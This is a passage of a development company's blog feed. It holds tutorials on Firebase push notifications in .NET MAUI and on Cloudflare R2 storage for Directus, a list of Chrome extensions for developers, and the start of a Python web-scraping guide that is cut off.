        } <span class="hljs-keyword">else</span> {
            FirebaseApp.InitializeApp(activity, firebaseOptions, name);
        }

        <span class="hljs-keyword">if</span>(settings.IsAnalyticsEnabled) {
            FirebaseAnalyticsImplementation.Initialize(activity);
        }
    }
}
</code></pre>
<h2 id="heading-add-required-resources">Add Required Resources</h2>
<p>Create a file <code>strings.xml</code> under <code>Platforms/Android/Resources/values</code>:</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">resources</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">string</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"com.google.firebase.crashlytics.mapping_flied_id"</span>&gt;</span>none<span class="hljs-tag">&lt;/<span class="hljs-name">string</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">string</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"com.crashlytics.android.build_id"</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">string</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">resources</span>&gt;</span>
</code></pre>
<h2 id="heading-step-6-configure-mauiprogramcs">Step 6: Configure MauiProgram.cs</h2>
<p>Update <code>MauiProgram.cs</code> file to register Firebase services:</p>
<pre><code class="lang-csharp"><span class="hljs-meta">#<span class="hljs-meta-keyword">if</span> IOS</span>
<span class="hljs-keyword">using</span> Plugin.Firebase.Bundled.Platforms.iOS;
<span class="hljs-meta">#<span class="hljs-meta-keyword">elif</span> ANDROID</span>
<span class="hljs-keyword">using</span> Plugin.Firebase.Bundled.Platforms.Android;
<span class="hljs-meta">#<span class="hljs-meta-keyword">endif</span></span>

<span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">class</span> <span class="hljs-title">MauiProgram</span>
{
    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> MauiApp <span class="hljs-title">CreateMauiApp</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">var</span> builder = MauiApp.CreateBuilder();
        builder.UseMauiApp&lt;App&gt;()
               .RegisterFirebaseServices()
               .ConfigureFonts(fonts =&gt;
               {
                   fonts.AddFont(<span class="hljs-string">"OpenSans-Regular.ttf"</span>, <span class="hljs-string">"OpenSansRegular"</span>);
               });

        builder.Services.AddMauiBlazorWebView();

<span class="hljs-meta">#<span class="hljs-meta-keyword">if</span> DEBUG</span>
        builder.Services.AddBlazorWebViewDeveloperTools();
        builder.Logging.AddDebug();
<span class="hljs-meta">#<span class="hljs-meta-keyword">endif</span></span>

        <span class="hljs-keyword">return</span> builder.Build();
    }

    <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> MauiAppBuilder <span class="hljs-title">RegisterFirebaseServices</span>(<span class="hljs-params"><span class="hljs-keyword">this</span> MauiAppBuilder builder</span>)</span>
    {
        builder.ConfigureLifecycleEvents(events =&gt;
        {
<span class="hljs-meta">#<span class="hljs-meta-keyword">if</span> IOS</span>
            events.AddiOS(iOS =&gt; iOS.WillFinishLaunching((app, _) =&gt;
            {
                CrossFirebase.Initialize(CreateCrossFirebaseSettings());
                <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
            }));
<span class="hljs-meta">#<span class="hljs-meta-keyword">elif</span> ANDROID</span>
            events.AddAndroid(android =&gt; android.OnCreate((activity, _) =&gt;
            {
                <span class="hljs-keyword">var</span> settings = CreateCrossFirebaseSettings();
                CrossFirebase.Initialize(activity, settings);
            }));
<span class="hljs-meta">#<span class="hljs-meta-keyword">endif</span></span>
        });

        builder.Services.AddSingleton(_ =&gt; CrossFirebaseAuth.Current);
        builder.Services.AddSingleton(_ =&gt; CrossFirebaseCloudMessaging.Current);
        <span class="hljs-keyword">return</span> builder;
    }

    <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> CrossFirebaseSettings <span class="hljs-title">CreateCrossFirebaseSettings</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> CrossFirebaseSettings(
            isAuthEnabled: <span class="hljs-literal">true</span>,
            isCloudMessagingEnabled: <span class="hljs-literal">true</span>,
            isCrashlyticsEnabled: <span class="hljs-literal">true</span>
        );
    }
}
</code></pre>
<h2 id="heading-step-7-create-firebase-admin-sdk-to-send-notifications">Step 7: Create Firebase Admin SDK to Send Notifications</h2>
<ul>
<li><h3 id="heading-download-firebase-adminsdkjson">Download <code>firebase-adminsdk.json</code></h3>
<ol>
<li><p>Go to <strong>Firebase Console &gt; Project Settings &gt; Service Accounts</strong></p>
</li>
<li><p>Click <strong>Generate new private key</strong></p>
</li>
<li><p>Save the file as <code>firebase-adminsdk.json</code> in your project</p>
</li>
</ol>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746516926956/19d35ae5-a64c-4816-9580-b0ed778018b6.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-create-pushnotificationcs">Create <code>PushNotification.cs</code></h2>
<pre><code class="lang-csharp"><span class="hljs-keyword">using</span> FirebaseAdmin;
<span class="hljs-keyword">using</span> FirebaseAdmin.Messaging;
<span class="hljs-keyword">using</span> Google.Apis.Auth.OAuth2;
<span class="hljs-keyword">using</span> Message = FirebaseAdmin.Messaging.Message;
<span class="hljs-keyword">using</span> Notification = FirebaseAdmin.Messaging.Notification;

<span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title">PushNotification</span>
{
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">readonly</span> FirebaseMessaging _firebaseMessaging;

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-title">PushNotification</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">if</span> (FirebaseApp.DefaultInstance == <span class="hljs-literal">null</span>)
        {
            FirebaseApp.Create(<span class="hljs-keyword">new</span> AppOptions
            {
                Credential = GoogleCredential.FromFile(<span class="hljs-string">"firebase-adminsdk.json"</span>) 
            });
        }

        _firebaseMessaging = FirebaseMessaging.DefaultInstance;
    }

    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">async</span> Task <span class="hljs-title">SendPushNotification</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> deviceToken, <span class="hljs-keyword">string</span> title, <span class="hljs-keyword">string</span> body, <span class="hljs-keyword">object</span> data</span>)</span>
    {
        <span class="hljs-keyword">if</span> (deviceTokens.Any())
        {
            <span class="hljs-keyword">var</span> message = <span class="hljs-keyword">new</span> Message()
            {
                Token = deviceToken,
                Notification = <span class="hljs-keyword">new</span> Notification()
                {
                    Title = title,
                    Body = body,
                    ImageUrl = <span class="hljs-string">"https://media.istockphoto.com/id/472909414/photo/demo-sign-colorful-tags.jpg?s=612x612&amp;w=0&amp;k=20&amp;c=JD4iYaMoe4x--zJrltwiQzZdDyvtrRuNBK0uQ80tdXg="</span>
                },
                Data = <span class="hljs-keyword">new</span> Dictionary&lt;<span class="hljs-keyword">string</span>, <span class="hljs-keyword">string</span>&gt;
                {
                    { <span class="hljs-string">"click_action"</span>, <span class="hljs-string">"FLUTTER_NOTIFICATION_CLICK"</span> },
                    { <span class="hljs-string">"target"</span>, <span class="hljs-string">"counter"</span> },
                    { <span class="hljs-string">"extraData"</span>, JsonConvert.SerializeObject(data) }
                }
            };

            <span class="hljs-keyword">try</span>
            {
                <span class="hljs-keyword">var</span> response = <span class="hljs-keyword">await</span> _firebaseMessaging.SendAsync(message);
                Log.Information(<span class="hljs-string">$"Push Notification sent successfully. Message ID: <span class="hljs-subst">{response}</span>"</span>);
            }
            <span class="hljs-keyword">catch</span> (Exception ex)
            {
                Log.Error(<span class="hljs-string">$"Error sending push notification: <span class="hljs-subst">{ex.Message}</span>"</span>);
            }
        }
    }
</code></pre>
<h3 id="heading-register-the-service"><strong>Register the Service</strong></h3>
<p>In <code>MauiProgram.cs</code>, register the service:</p>
<pre><code class="lang-csharp">builder.Services.AddSingleton&lt;PushNotification&gt;();
</code></pre>
<h2 id="heading-step-8-sending-notification-from-ui-blazor">Step 8: Sending Notification from UI (Blazor)</h2>
<p>In <code>Home.razor</code>:</p>
<pre><code class="lang-csharp">@page <span class="hljs-string">"/"</span>
@using MauiNotificationApp.Services
@inject NavigationManager Navigation
@inject PushNotification PushNotification

&lt;h1&gt;Hello, world!&lt;/h1&gt;
Welcome to your <span class="hljs-keyword">new</span> app.

&lt;div <span class="hljs-keyword">class</span>=<span class="hljs-string">"mt-4"</span>&gt;
    @if (!<span class="hljs-keyword">string</span>.IsNullOrEmpty(responseMessage))
    {
        &lt;div <span class="hljs-keyword">class</span>=<span class="hljs-string">"@(isSuccess ? "</span>text-success<span class="hljs-string">" : "</span>text-danger<span class="hljs-string">")"</span>&gt;
            @responseMessage
        &lt;/div&gt;
    }

    @if (isLoading)
    {
        &lt;p&gt;Processing...&lt;/p&gt;
    }

    &lt;button <span class="hljs-keyword">class</span>=<span class="hljs-string">"btn btn-success"</span> @onclick=<span class="hljs-string">"SendNotification"</span> disabled=<span class="hljs-string">"@isLoading"</span>&gt;Send Notification&lt;/button&gt;
&lt;/div&gt;

@code {
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">bool</span> isLoading = <span class="hljs-literal">false</span>;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">bool</span> isSuccess = <span class="hljs-literal">false</span>;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> responseMessage = <span class="hljs-keyword">string</span>.Empty;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> fcmToken = <span class="hljs-keyword">string</span>.Empty;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> errorMessage = <span class="hljs-keyword">string</span>.Empty;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> successMessage = <span class="hljs-keyword">string</span>.Empty;

    <span class="hljs-comment">// Get FCM token and store it in a variable</span>
    <span class="hljs-function"><span class="hljs-keyword">protected</span> <span class="hljs-keyword">override</span> <span class="hljs-keyword">async</span> Task <span class="hljs-title">OnInitializedAsync</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">await</span> CrossFirebaseCloudMessaging.Current.CheckIfValidAsync();
        fcmToken = <span class="hljs-keyword">await</span> CrossFirebaseCloudMessaging.Current.GetTokenAsync();
        Console.WriteLine(<span class="hljs-string">$"FCM token: <span class="hljs-subst">{fcmToken}</span>"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">async</span> Task <span class="hljs-title">SendNotification</span>(<span class="hljs-params"></span>)</span>
    {
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">string</span>.IsNullOrEmpty(fcmToken))
        {
            errorMessage = <span class="hljs-string">"FCM token is not available. Please initialize Firebase first."</span>;
            <span class="hljs-keyword">return</span>;
        }

        isLoading = <span class="hljs-literal">true</span>;
        errorMessage = <span class="hljs-keyword">string</span>.Empty;
        successMessage = <span class="hljs-keyword">string</span>.Empty;

        <span class="hljs-keyword">try</span>
        {
            <span class="hljs-keyword">var</span> title = <span class="hljs-string">"Test Notification"</span>;
            <span class="hljs-keyword">var</span> body = <span class="hljs-string">"This is a test notification"</span>;
            <span class="hljs-keyword">var</span> data = <span class="hljs-keyword">new</span>
            {
                Type = <span class="hljs-string">"Push Notification"</span>,
                Title = title,
                Message = body,
                Timestamp = DateTime.Now.ToString(<span class="hljs-string">"o"</span>)
            };

            <span class="hljs-keyword">await</span> PushNotification.SendPushNotification(fcmToken, title, body, data);
            successMessage = <span class="hljs-string">"Notification sent successfully!"</span>;
        }
        <span class="hljs-keyword">catch</span> (Exception ex)
        {
            errorMessage = <span class="hljs-string">$"Error sending notification: <span class="hljs-subst">{ex.Message}</span>"</span>;
            Console.WriteLine(<span class="hljs-string">$"Notification Error: <span class="hljs-subst">{ex}</span>"</span>);
        }
        <span class="hljs-keyword">finally</span>
        {
            isLoading = <span class="hljs-literal">false</span>;
            StateHasChanged();
        }
    }
}
</code></pre>
<p>You've now successfully integrated <strong>Firebase Push Notifications</strong> into your <strong>.NET MAUI Hybrid App</strong>!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746527142470/2dbbd7e7-a228-40c9-8acd-6900b8ecd93b.jpeg" alt class="image--center mx-auto" /></p>
<h1 id="heading-diagram"><strong>Diagram:</strong></h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746527858268/b4c24348-5cdc-47ab-8295-040d6d22aa6e.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Top 6 Must-Have Chrome Extensions for Developers]]></title><description><![CDATA[Wappalyzer Browsec Nimbus Screenshot tool JSON Formatter ColorZilla React Developer Tools AdBlocker Plus
Hey fellow coders! Let's face it, we spend a lot of time in our browsers, right? So, why not make that experience as efficient and productive as ...]]></description><link>https://blog.ghanshyamdigital.com/top-6-must-have-chrome-extensions-for-developers</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/top-6-must-have-chrome-extensions-for-developers</guid><category><![CDATA[chrome extension]]></category><category><![CDATA[dev tools]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[Development Tools]]></category><dc:creator><![CDATA[Ghanshyam Digital]]></dc:creator><pubDate>Mon, 07 Apr 2025 10:49:19 GMT</pubDate><content:encoded><![CDATA[<p>Wappalyzer Browsec Nimbus Screenshot tool JSON Formatter ColorZilla React Developer Tools AdBlocker Plus</p>
<p>Hey fellow coders! Let's face it, we spend a <em>lot</em> of time in our browsers, right? So, why not make that experience as efficient and productive as possible? Today, I'm sharing my personal list of the top 7 Chrome extensions that have become absolute lifesavers in my development workflow. These tools have helped me debug faster, analyze websites better, and generally make my life easier. Let's dive in!</p>
<h2 id="heading-1-wappalyzer-uncover-the-tech-stack-behind-any-website"><strong>1. Wappalyzer: Uncover the Tech Stack Behind Any Website</strong></h2>
<p>Ever wondered what technologies a website is built with? Wappalyzer is your answer! This gem instantly reveals the CMS, frameworks, e-commerce platforms, and more that a site uses. It's like having a tech detective at your fingertips.</p>
<ul>
<li><p><strong>Why it's awesome:</strong> Quick insights for competitive analysis, debugging, and understanding how other sites are built.</p>
</li>
<li><p><strong>SEO Boost:</strong> Helps identify popular technologies for potential keyword research.</p>
</li>
</ul>
<h2 id="heading-2-browsec-vpn-access-geo-restricted-content-with-ease"><strong>2. Browsec VPN: Access Geo-Restricted Content with Ease</strong></h2>
<p>Sometimes, you need to test your site or access resources from different locations. Browsec VPN lets you switch your IP address with a single click. It's perfect for simulating user experiences from around the globe.</p>
<ul>
<li><p><strong>Why it's awesome:</strong> Bypass geo-restrictions, test internationalization, and ensure your site loads correctly in different regions.</p>
</li>
<li><p><strong>SEO Boost:</strong> Allows for testing search results from various locations.</p>
</li>
</ul>
<h2 id="heading-3-nimbus-screenshot-amp-screen-video-recorder-capture-and-annotate-everything"><strong>3. Nimbus Screenshot &amp; Screen Video Recorder: Capture and Annotate Everything</strong></h2>
<p>Need to grab a full page screenshot, record a quick demo, or annotate a bug? Nimbus Screenshot has you covered. It's incredibly versatile and easy to use.</p>
<ul>
<li><p><strong>Why it's awesome:</strong> Capture entire web pages, record screencasts, and annotate screenshots with ease. Perfect for bug reporting and documentation.</p>
</li>
<li><p><strong>SEO Boost:</strong> Useful for creating visual content for tutorials or documentation.</p>
</li>
</ul>
<h2 id="heading-4-json-formatter-make-json-data-readable"><strong>4. JSON Formatter: Make JSON Data Readable</strong></h2>
<p>Working with APIs? Then you know how messy raw JSON can be. JSON Formatter neatly organizes JSON data, making it easy to read and understand.</p>
<ul>
<li><p><strong>Why it's awesome:</strong> Instantly format JSON responses, making debugging and data analysis a breeze.</p>
</li>
<li><p><strong>SEO Boost:</strong> Useful for analyzing structured data from APIs.</p>
</li>
</ul>
<h2 id="heading-5-colorzilla-pick-colors-from-any-webpage"><strong>5. ColorZilla: Pick Colors from Any Webpage</strong></h2>
<p>Need to grab a specific color from a website? ColorZilla lets you pick any color from any webpage and copy it to your clipboard. It's a must-have for front-end developers and designers.</p>
<ul>
<li><p><strong>Why it's awesome:</strong> Easily extract color codes for CSS, design mockups, and more.</p>
</li>
<li><p><strong>SEO Boost:</strong> Helps ensure brand consistency in visual content.</p>
</li>
</ul>
<h2 id="heading-6-adblocker-plus-focus-without-distractions"><strong>6. AdBlocker Plus: Focus Without Distractions</strong></h2>
<p>While not directly development related, AdBlocker Plus helps you stay focused by blocking annoying ads. A clean, distraction-free browser is essential for productivity.</p>
<ul>
<li><p><strong>Why it's awesome:</strong> Blocks intrusive ads, improves page loading speed, and reduces distractions.</p>
</li>
<li><p><strong>SEO Boost:</strong> Faster page load times, which are a direct SEO ranking factor.</p>
</li>
</ul>
<h2 id="heading-wrap-up"><strong>Wrap Up</strong></h2>
<p>These are just a few of the many amazing Chrome extensions available to developers. I hope this list helps you streamline your workflow and boost your productivity. Give them a try and let me know which ones become your favorites!</p>
<p>What Chrome extensions do you swear by? Share them in the comments below! Happy coding!</p>
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help! 🚀</strong></h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/"><strong>Get in touch</strong></a></p>
]]></content:encoded></item><item><title><![CDATA[Implementing Cloudflare R2 Storage in Directus: A How-To Guide]]></title><description><![CDATA[In today's fast-paced digital world, efficient asset management is crucial for any web application. Directus, a powerful open-source headless CMS, offers flexibility and scalability. However, integrating a robust storage solution can elevate its perf...]]></description><link>https://blog.ghanshyamdigital.com/implementing-cloudflare-r2-storage-in-directus-a-how-to-guide</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/implementing-cloudflare-r2-storage-in-directus-a-how-to-guide</guid><category><![CDATA[Cloudflare-r2]]></category><category><![CDATA[cloudflare]]></category><category><![CDATA[directus]]></category><category><![CDATA[storage]]></category><category><![CDATA[headless cms]]></category><category><![CDATA[object storage]]></category><category><![CDATA[CDN]]></category><dc:creator><![CDATA[Ghanshyam Digital]]></dc:creator><pubDate>Thu, 20 Mar 2025 13:40:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1742477902906/2b28d21e-64c7-4a8c-a6fa-17044b3ff2f3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In today's fast-paced digital world, efficient asset management is crucial for any web application. Directus, a powerful open-source headless CMS, offers flexibility and scalability. However, integrating a robust storage solution can elevate its performance to the next level. That's where Cloudflare R2 comes in.</p>
<h2 id="heading-why-cloudflare-r2"><strong>Why Cloudflare R2?</strong></h2>
<p>Cloudflare R2 is a distributed object storage service that offers several key advantages:</p>
<ul>
<li><p><strong>Cost-Effective Storage:</strong> R2 eliminates egress fees, making it significantly cheaper than traditional cloud storage options.</p>
</li>
<li><p><strong>Global Performance:</strong> Leveraging Cloudflare's global network, R2 ensures fast and reliable asset delivery to users worldwide.</p>
</li>
<li><p><strong>Seamless Integration:</strong> R2 integrates seamlessly with existing Cloudflare services, providing a unified platform for content delivery.</p>
</li>
<li><p><strong>S3 Compatibility:</strong> R2's S3 compatibility simplifies integration with various applications, including Directus.</p>
</li>
</ul>
<h2 id="heading-integrating-cloudflare-r2-with-directus"><strong>Integrating Cloudflare R2 with Directus</strong></h2>
<p>Integrating Cloudflare R2 with Directus involves configuring the Directus storage adapter to use the R2 bucket. Here's a step-by-step guide:</p>
<h3 id="heading-1-create-an-r2-bucket"><strong>1. Create an R2 Bucket:</strong></h3>
<ul>
<li><p>Log in to your Cloudflare dashboard.</p>
</li>
<li><p>Navigate to R2 and create a new bucket.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742471005281/67ff06d6-e795-4012-a1f0-c962c66b0221.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Generate an API token with appropriate permissions for your bucket. Click “API” and then “Manage API Tokens”</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742471090714/6ab10e27-074e-4a54-95bd-39df15c68ba1.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Then Click “Create API token”</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742471175448/842d7261-d594-43ff-842f-765a7efdbb78.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>In this form you can select permissions and TTL. You can choose TTL to ‘Forever’ if you’re using this in a application and don’t want to change it frequently. Also you can choose from buckets to which this token will be applicable.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742471292552/ef13caca-c271-4b46-9720-f6910815a033.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Then you will be redirected to a new page. Copy “Access Key ID”, “Secret Access Key” and “endpoint”. Check the screenshot below. Obviously my credentials from the screenshot won’t work as those are deleted by this time you’re reading this blog post.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742471677671/2157a395-7665-4a0e-bea0-1a2f1cc031b5.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<h3 id="heading-2-configure-directus-storage"><strong>2. Configure Directus Storage:</strong></h3>
<ul>
<li><p>Install the <code>@directus/storage-driver-s3</code> package: (This step won’t be necessary for most of you, I have tried it on 11.5.1 and it worked without installing any package.)</p>
<pre><code class="lang-bash">  npm install @directus/storage-driver-s3
</code></pre>
</li>
<li><p>Create or modify your <code>.env</code> file with the following configuration:</p>
</li>
</ul>
<pre><code class="lang-apache"><span class="hljs-comment"># Cloudflare R2 Configuration</span>
<span class="hljs-attribute">STORAGE_LOCATIONS</span>=s<span class="hljs-number">3</span>
<span class="hljs-attribute">STORAGE_DRIVER</span>=s<span class="hljs-number">3</span>
<span class="hljs-attribute">STORAGE_S3_ENDPOINT</span>=&lt;YOUR_ENDPOINT_URL&gt;
<span class="hljs-attribute">STORAGE_S3_REGION</span>=auto
<span class="hljs-attribute">STORAGE_S3_BUCKET</span>=&lt;YOUR_BUCKET_NAME&gt;
<span class="hljs-attribute">STORAGE_S3_KEY</span>=&lt;YOUR_ACCESS_KEY_ID&gt;
<span class="hljs-attribute">STORAGE_S3_SECRET</span>=&lt;YOUR_SECRET_ACCESS_KEY&gt;
<span class="hljs-attribute">STORAGE_S3_FORCE_PATH_STYLE</span>=true
<span class="hljs-attribute">STORAGE_S3_ACL</span>=public-read
</code></pre>
<ul>
<li><p><strong>Important:</strong> Replace the placeholder values with your actual R2 endpoint, bucket name, API Access key ID, and Secret Access key from the previous step.</p>
</li>
<li><p><strong>Important:</strong> Replace the placeholder values</p>
</li>
<li><p>Comment below lines in your .env file by putting <code>#</code> sign like below.</p>
</li>
</ul>
<pre><code class="lang-apache"><span class="hljs-comment">#STORAGE_LOCATIONS="local"</span>
<span class="hljs-comment">#STORAGE_LOCAL_DRIVER="local"</span>
<span class="hljs-comment">#STORAGE_LOCAL_ROOT="./uploads"</span>
</code></pre>
<ul>
<li>Restart your Directus instance to apply the changes.</li>
</ul>
<h3 id="heading-3-test-the-integration"><strong>3. Test the Integration:</strong></h3>
<ul>
<li><p>Upload an asset through the Directus admin panel.</p>
</li>
<li><p>Verify that the asset is successfully stored in your R2 bucket.</p>
</li>
<li><p>Verify that the asset can be accessed through your website or API.</p>
</li>
</ul>
<h2 id="heading-benefits-of-using-cloudflare-r2-with-directus"><strong>Benefits of Using Cloudflare R2 with Directus</strong></h2>
<ul>
<li><p><strong>Improved Performance:</strong> Faster asset delivery translates to a better user experience.</p>
</li>
<li><p><strong>Reduced Costs:</strong> Elimination of egress fees significantly lowers storage costs.</p>
</li>
<li><p><strong>Enhanced Scalability:</strong> R2's distributed architecture ensures scalability for growing applications.</p>
</li>
<li><p><strong>Simplified Management:</strong> Centralized asset management within the Cloudflare ecosystem.</p>
</li>
<li><p><strong>Enhanced CDN capabilities:</strong> Cloudflare's powerful CDN caching further improves asset delivery.</p>
</li>
</ul>
<h2 id="heading-seo-best-practices"><strong>SEO Best Practices</strong></h2>
<ul>
<li><p>Use descriptive file names for your assets.</p>
</li>
<li><p>Optimize images for web performance.</p>
</li>
<li><p>Implement proper caching strategies.</p>
</li>
<li><p>Use alt text on images.</p>
</li>
<li><p>Ensure your website is mobile-friendly.</p>
</li>
</ul>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Integrating Cloudflare R2 with Directus is a smart move for anyone looking to optimize asset management, reduce costs, and improve performance. By leveraging R2's global network and cost-effective pricing, you can supercharge your Directus application and deliver a seamless user experience.</p>
<p>By following these steps, you can harness the power of Cloudflare R2 and Directus to create a high-performance, cost-effective content management system.</p>
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help!</strong> 🚀</h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/">Get in touch</a></p>
]]></content:encoded></item><item><title><![CDATA[Mastering Web Scraping: Extract Data from Websites Easily with Python]]></title><description><![CDATA[Web scraping has become an essential tool for automating the extraction of large amounts of data from websites. Python, with its wide range of libraries, makes it easy to access and work with web content. In this blog, we'll explain how web scraping ...]]></description><link>https://blog.ghanshyamdigital.com/mastering-web-scraping-extract-data-from-websites-easily-with-python</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/mastering-web-scraping-extract-data-from-websites-easily-with-python</guid><category><![CDATA[Python]]></category><category><![CDATA[BeautifulSoup]]></category><category><![CDATA[selenium]]></category><category><![CDATA[webdriver]]></category><category><![CDATA[Requests]]></category><category><![CDATA[Scraping]]></category><category><![CDATA[web scraping]]></category><category><![CDATA[data extraction]]></category><category><![CDATA[#Scrapy]]></category><dc:creator><![CDATA[Dimpal Khatri]]></dc:creator><pubDate>Wed, 05 Feb 2025 05:30:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726296263115/d3578d68-0ac0-4276-b09e-97c1328501fc.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Web scraping has become an essential tool for automating the extraction of large amounts of data from websites. Python, with its wide range of libraries, makes it easy to access and work with web content. In this blog, we'll explain how web scraping works, introduce key Python libraries, and provide practical examples and tips for ethical and efficient web scraping.</p>
<h3 id="heading-what-is-web-scraping"><strong>What is Web Scraping?</strong></h3>
<p>Web scraping involves retrieving web pages and extracting useful data from them. Whether you need to collect data from social media, e-commerce platforms, or news websites, web scraping automates the process by extracting specific elements like product names, prices, reviews, or any other data displayed on a web page. Once extracted, this data can be stored in formats like CSV, JSON, or databases for further analysis.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726296081403/609cd0d4-2496-48da-8a06-b52a18d97e70.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-python-libraries-for-web-scraping">Python Libraries for Web Scraping</h2>
<p>There are several powerful Python libraries available for web scraping:</p>
<ol>
<li><p><strong>BeautifulSoup</strong>: This library is part of <code>bs4</code> and helps parse HTML or XML documents. It allows you to navigate and search the tree structure of an HTML page, making it easy to extract elements like paragraphs, headers, tables, and links.</p>
</li>
<li><p><strong>Requests</strong>: The <code>requests</code> library is used to send HTTP/HTTPS requests to websites, allowing you to retrieve the web page content for scraping. It simplifies making GET, POST, and other HTTP requests.</p>
</li>
<li><p><strong>Selenium</strong>: Selenium is a browser automation tool that allows you to interact with websites dynamically. It can handle JavaScript-heavy pages where content is loaded asynchronously (e.g., infinite scrolling websites).</p>
</li>
<li><p><strong>Scrapy</strong>: A full-fledged web scraping framework that offers robust features like handling requests, parsing responses, and data exportation. It’s ideal for large-scale scraping projects with complex logic.</p>
</li>
</ol>
<h2 id="heading-how-web-scraping-works">How Web Scraping Works</h2>
<p>The process of web scraping typically involves these main steps:</p>
<ol>
<li><p><strong>Send a request to the webpage</strong>: Using the <code>requests</code> library, we make an HTTP request to the target webpage. If the response code is 200 (OK), we retrieve the page content, usually in HTML format.</p>
</li>
<li><p><strong>Parse the HTML</strong>: After obtaining the page content, the next step is to parse it into a structured format that Python can work with. This is where <code>BeautifulSoup</code> or other parsers come into play. You can target specific tags (like <code>&lt;div&gt;</code>, <code>&lt;p&gt;</code>, or <code>&lt;a&gt;</code>) using BeautifulSoup.</p>
</li>
<li><p><strong>Extract the data</strong>: Once you have the parsed HTML, you can extract the relevant information by identifying the tags, classes, or IDs associated with the data you want. This can be done through BeautifulSoup’s functions like <code>.find()</code>, <code>.find_all()</code>, or CSS selectors.</p>
</li>
<li><p><strong>Store the data</strong>: Finally, the extracted data can be stored in different formats such as CSV, JSON, or even a database for further analysis.</p>
</li>
</ol>
<h2 id="heading-example-scraping-job-listings-from-naukricom-using-selenium-and-beautifulsoup">Example: Scraping Job Listings from Naukri.com Using Selenium and BeautifulSoup</h2>
<p>Here’s a real-world example where we scrape job listings from Naukri.com, a website that dynamically loads job data using JavaScript. We’ll use <code>Selenium</code> to control the browser and fetch the fully rendered HTML and <code>BeautifulSoup</code> to extract the job details.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> selenium <span class="hljs-keyword">import</span> webdriver
<span class="hljs-keyword">from</span> bs4 <span class="hljs-keyword">import</span> BeautifulSoup
<span class="hljs-keyword">import</span> time

<span class="hljs-comment"># URL of Naukri's React job listings page</span>
nurl = <span class="hljs-string">"https://www.naukri.com/react-jobs?k=react"</span>
print(nurl)

<span class="hljs-comment"># Sending a GET request to fetch the page (optional, as Selenium will load the page)</span>
